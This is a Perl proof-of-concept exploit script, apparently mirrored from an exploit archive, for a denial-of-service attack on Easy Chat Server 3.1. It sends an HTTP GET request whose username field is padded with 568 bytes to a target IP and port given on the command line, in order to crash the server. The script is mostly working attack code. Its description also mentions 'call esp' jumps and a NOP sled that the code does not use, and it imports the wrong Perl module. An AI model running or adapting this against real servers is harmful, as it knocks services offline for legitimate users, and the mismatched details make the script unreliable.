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## https://sploitus.com/exploit?id=PACKETSTORM:176381
#!/usr/bin/perl  
  
  
use Net::FTP;  
  
# Exploit Title: Easy Chat Server 3.1 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 05 january 2024  
# Vendor Homepage: N/A  
# Download to demo: https://drive.google.com/file/d/1ZbfeaWSEKlpvCG1eUtD0vNnfkNz_8PlE/view  
# Notification vendor: No reported  
# Tested Version:Easy Chat Server 3.1  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://drive.google.com/file/d/1rG6uTXTg3cTg86qmp9rh2ozQfyOV_Av7/view  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data via method GET to web server.  
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $payload = "\x90" x 16;  
$payload = "\x41"x568;  
  
my $buffer = "GET /chat.ghp?username=" . $payload . "&password=&room=2 HTTP/1.1\r\n";  
$buffer .= "User-Agent: Internet Explorer/4.0\r\n";  
$buffer .= "Host: $ip:$port\r\n";  
$buffer .= "Referer: http://$ip\r\n";  
$buffer .= "Connection: Keep-Alive\r\n\r\n";  
  
print("[+] Exploiting...\n");  
my $socket = IO::Socket::INET->new(  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp',  
) or die "Could not connect! Error: $!\n";  
  
$socket->send($buffer);  
close($socket);  
  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print "#################################################################\n";  
print "# Easy Chat Server 3.1 - Denied of Service #\n";  
print "# #\n";  
print "# Coded by Fernando Mengali #\n";  
print "# #\n";  
print "# e-mail: fernando.mengalli\@gmail.com #\n";  
print "# #\n";  
print "#################################################################\n";  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated